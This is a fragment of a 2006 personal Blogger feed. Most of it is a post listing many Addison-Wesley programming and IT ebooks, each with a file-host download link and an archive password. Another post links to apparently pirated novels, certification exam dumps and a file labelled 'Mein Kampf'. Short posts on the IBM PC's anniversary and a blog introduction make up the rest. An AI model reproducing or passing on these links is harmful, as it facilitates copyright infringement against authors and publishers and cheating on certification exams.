/&gt;Addison.Wesley.Inside.Java.2.Platform.Security.2nd .Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=K6I47LT1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Inside.the C++ Object Model&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=KGDRW2IV&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Inside.Windows.Server.2003&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=QR9IO3MR&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java2.Platform.Enterprise.Edition.P latform.And.Component.Specifications&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=FOSXSWIO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.and JMX-Building Manageable Systems&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=4DV4GTPO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Data Objects&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=WCO2PP86&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Design Patterns A tutorial&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=RZ5MKRVH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Development.On.PDAs&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=KMYAK7QX&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Look And Feel Design Guidelines - AdvancedTopics&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=TDLAMDFO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Native Interface&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=XS0KEJLJ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Performance.And.Scalability.Vo lume1.Server-Side.Programming.Techniques&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=VK1NEJ73&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Java.Tutorial.Third.Edition.A.Short .Course.On.The.BasicsCode:&lt;br /&gt;http://www.uploading.com/?get=FZ0VZSCV&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.JavaServer.Pages.2nd.Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=LY53CCB3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.JSP.and XML_Integrating XML and Web Services in JSP&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=2I0EH6TY&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Managing.Linux.Systems.With.Webmin. System.Administration.And.Module.Development&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=ZS66OXWK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Managing.Windows.with.VBScript.and. WMI&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=L6CXB6O3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Microsoft.SQL Server 2000-A Guide to Enhancements and New Features&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=HNK70WGQ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.MIDP.Style.Guide.For.The.Java.2.Pla tform.Micro.Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=I6ZGHQZ1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Modern.C++ Design Generic Programming and Design Patterns Applied&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=7N2DVNNX&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.More.Exceptional C++&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=LW1CGXZO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Moving.To.Linux.Kiss.The.Blue.Scree n.Of.Death.Goodbye&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=4FA83ZVL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Multitool.Linux - Practical Uses for Open Source Software&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=G8LEDYFO&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Performance.Analysis for Java¢â Web Sites&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=27F9L4TS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Perl.Debugged&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=U1AV8AR3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Perl.To Python Migration&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=3DBV2UE6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Professional.Effective.Enterprise.J ava.Aug.2004&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=YT3SL0TC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Programming.for the Java Virtual Machine&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=OL7BI8Q4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Programming.Wireless.Devices.With.T he.Java.2.Platform.Micro.Edition.2nd.Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=EGTKFSGH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Python.Programming with the Java Class Libraries&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=FY8BA0NB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Secure.XML - The New Syntax for Signatures and Encryption&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=406YW4Q6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Servlets.and.JavaServer.Pages.The.J 2EE.Technology.Web.Tier&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=H4GS1AJF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.SQL.Performance Tuning&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=2TYY5MQF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Sun.Java Look and Feel Design Guidelines 2e&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=M7VIHW68&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Sun.Java Look and Feel Design Guidelines AdvTopics&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=XGA2TKMK&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.TCPIP.Illustrated Volume 1&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=WOB5KKAJ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Text.Processing.In.Python&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=DU0M4FMB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.Art.Of.Unix.Programming&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=S7HF8J7C&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.C++ Standard Library-A Tutorial and Reference&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=X5HLS4PF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.Essence.of.Object.Oriented.Prog ramming.with.Java.and.UML&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=H6XYEFUS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.Gurus.Guide.To.SQL.Server.Archi tecture.And.Internals&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=NRUM1JCH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.Ultimate Windows Server 2003 System Administrator's Guide&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=ZL36XJVV&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.The.XML Schema Complete Reference&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=96XZU6EC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.UNIX.Network.Programming.Volume.1.3 rd.Ed.The.Sockets.Networking.API&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=4B77BUX8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Using.XML.With.Legacy.Business.Applications&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=7F0JSDBZ&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Windows.Forms.Programming.In.C.Sharp&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=NAF42JN6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.Windows.Forms.Programming.In.Visual .Basic.Dot.NET.eBook&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=T1K6UMGV&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XForms.XML.Powered.Web.Forms&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=BG8VDVJ8&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.- A Manager's Guide, Second Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=PXKLIWXH&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.and Java Developing Web Applications&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=CL8UYKU2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.and Java-Developing Web Applications 2nd Edition&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=4Z37KL0I&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.and SQL Developing Web Applications&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=V3VAA7ZC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.Schema Complete Reference&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=9HBSFIML&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.Topic Maps, Creating and Using Topic Maps for the Web&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=FIMIC9Q2&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XML.Topic Maps&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=A9FN9LYB&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XPath,.XLink, XPointer, and XML-A Practical Guide to Web Hyperlinking and TransclusionCode:&lt;br /&gt;http://www.uploading.com/?get=2LSU5M1F&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison.Wesley.XQuery.From.The.Experts.A.Guide.To. The.W3C.XML.Query&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=L13AEDR3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Addison-Wesley.Professional.The.dot.NET.Developers.Guide.to.Windows.Security&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=CTA55MGG&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AddisonWesley-TCP.IP Illustrated, Volume 2 The Implementation&lt;br /&gt;Code:&lt;br /&gt;http://www.uploading.com/?get=05BO5LAS&lt;br /&gt;&lt;br /&gt;_________________&lt;br /&gt;______________________&lt;br /&gt;Password (if needed):&lt;br /&gt;TheLibrarian&lt;br /&gt;&lt;br /&gt;comment:-I have not uploaded this files i just found this links&lt;br /&gt;on internet so posting out here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-115546246307158342?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/115546246307158342/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=115546246307158342' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115546246307158342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115546246307158342'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2006/08/all-about-ebooks.html' title='ALL ABOUT EBOOKS'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-115544821752920371</id><published>2006-08-12T22:46:00.000-07:00</published><updated>2006-08-12T22:50:17.556-07:00</updated><title type='text'>IBM BIRTHDAY</title><content type='html'>&lt;img src="http://img126.imagevenue.com/loc373/th_17407_ibm_5150_pc_debonairblog_373lo.jpg" alt="image hosted by ImageVenue.com"&gt;&lt;br /&gt;It was on the 12th of August, 1981 that the IBM PC 5150 was annouced and it literally changed the way we humans communicate, work, do business and much more. Just try to imagine your life without the PC on which you are reading this. Long live the PC!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-115544821752920371?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/115544821752920371/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=115544821752920371' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115544821752920371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115544821752920371'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2006/08/ibm-birthday.html' title='IBM BIRTHDAY'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-115511420018268042</id><published>2006-08-09T02:00:00.000-07:00</published><updated>2006-08-13T02:35:05.616-07:00</updated><title type='text'>ebooks</title><content type='html'>I have found some good links on web for some really gud e-books so posting out here&lt;br /&gt;&lt;span style="color:purple;"&gt;&lt;span style="line-height: 100%;font-size:14;" &gt;&lt;u&gt;&lt;i&gt;&lt;b&gt;PC Linux+ 2005 In Depth&lt;/b&gt;&lt;/i&gt;&lt;/u&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre id="line1"&gt;&lt;br /&gt;&lt;i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://img482.imageshack.us/img482/1852/1592007287coverr2bp.jpg" alt="user posted image" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Complete with extensive end-of-chapter review questions, hands-on&lt;br /&gt;projects and exercises, "Linux+ 2005 In Depth" serves as a practical&lt;br /&gt;guide that maps completely to CompTIA?s 2005 Linux+ certification&lt;br /&gt;objectives and is designed to prepare you to successfully pass the&lt;br /&gt;exam. The topics introduced in this book?and covered in the&lt;br /&gt;certification exam?are geared toward systems administration; however,&lt;br /&gt;they are also ideal if you plan to use or develop programs for Linux&lt;br /&gt;systems.&lt;br /&gt;&lt;br /&gt;LINK:- http://rapidshare.de/files/3645446/Linux.Plus.2005.In.Depth.Mar.2005.eBook-DDU.rar.html&lt;br /&gt;&lt;/i&gt;&lt;span style="line-height: 100%;font-size:14;" &gt;&lt;span style="color:red;"&gt;PASS   :   www.2baksa.net&lt;br /&gt;E-book:-&lt;span style="line-height: 100%;font-size:18;" &gt;&lt;!--/sizeo--&gt;&lt;br /&gt;&lt;a href="http://rapidshare.de/files/7944816/Robin_Sharma_-_The_Monk_Who_Sold_His_Ferrari.pdf.html" target="_blank"&gt;The Monk Who Sold His Ferrari&lt;/a&gt;&lt;!--sizec--&gt;&lt;/span&gt;&lt;!--/sizec--&gt;&lt;br /&gt;E-book:-&lt;span style="line-height: 100%;font-size:18;" &gt;&lt;!--/sizeo--&gt;&lt;a href="http://rapidshare.de/files/342187/Da_Vinci_Code.pdf.html" target="_blank"&gt;The Da Vinci Code&lt;/a&gt;&lt;!--sizec--&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;!--/coloro--&gt;These are some  of the DAn Brown Books...&lt;br&gt;&lt;br&gt;&lt;a href="http://www.greylib.align.ru/library/DET/DanBrown.DigitalFortress.rar" target="_blank"&gt;Digital Fortress&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://www.greylib.align.ru/library/DET/DanBrown.DeceptionPoint.rar" target="_blank"&gt;Deception Point&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://www.greylib.align.ru/library/DET/DanBrown.AngelsDemons.rar" target="_blank"&gt;Angels Demons&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;!--colorc--&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;MCSE MATERIAL SPECIALLY FOR MY FRIEND&lt;br /&gt;NISHANT MATHUR&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;rapidshare.de/files/3848913/&lt;wbr&gt;&lt;b&gt;MCSE&lt;/b&gt;-ActualTests-070-297-v04.26.05.rar.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;comment:- I have not uploaded this files i just found this links&lt;br /&gt;on internet so posting out here.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://20-248-c.onlinestoragesolution.com/c-t-p/Usernam/Adolf.Hitler.A.Biographical.Companion.eBook-EEn.chm" target="_blank"&gt;Mein Kampf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-115511420018268042?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/115511420018268042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=115511420018268042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115511420018268042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115511420018268042'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2006/08/ebooks.html' title='ebooks'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-115511254733975959</id><published>2006-08-09T01:32:00.000-07:00</published><updated>2006-08-09T01:35:47.350-07:00</updated><title type='text'>INTRODUCTION</title><content type='html'>hello everybody, i am shailesh khachane from pune, and trying my hands on blog for the very first time.........................................................................................................................................&lt;br /&gt;i hope you find my blog intresting enough............!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-115511254733975959?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/115511254733975959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=115511254733975959' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115511254733975959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/115511254733975959'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2006/08/introduction.html' title='INTRODUCTION'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
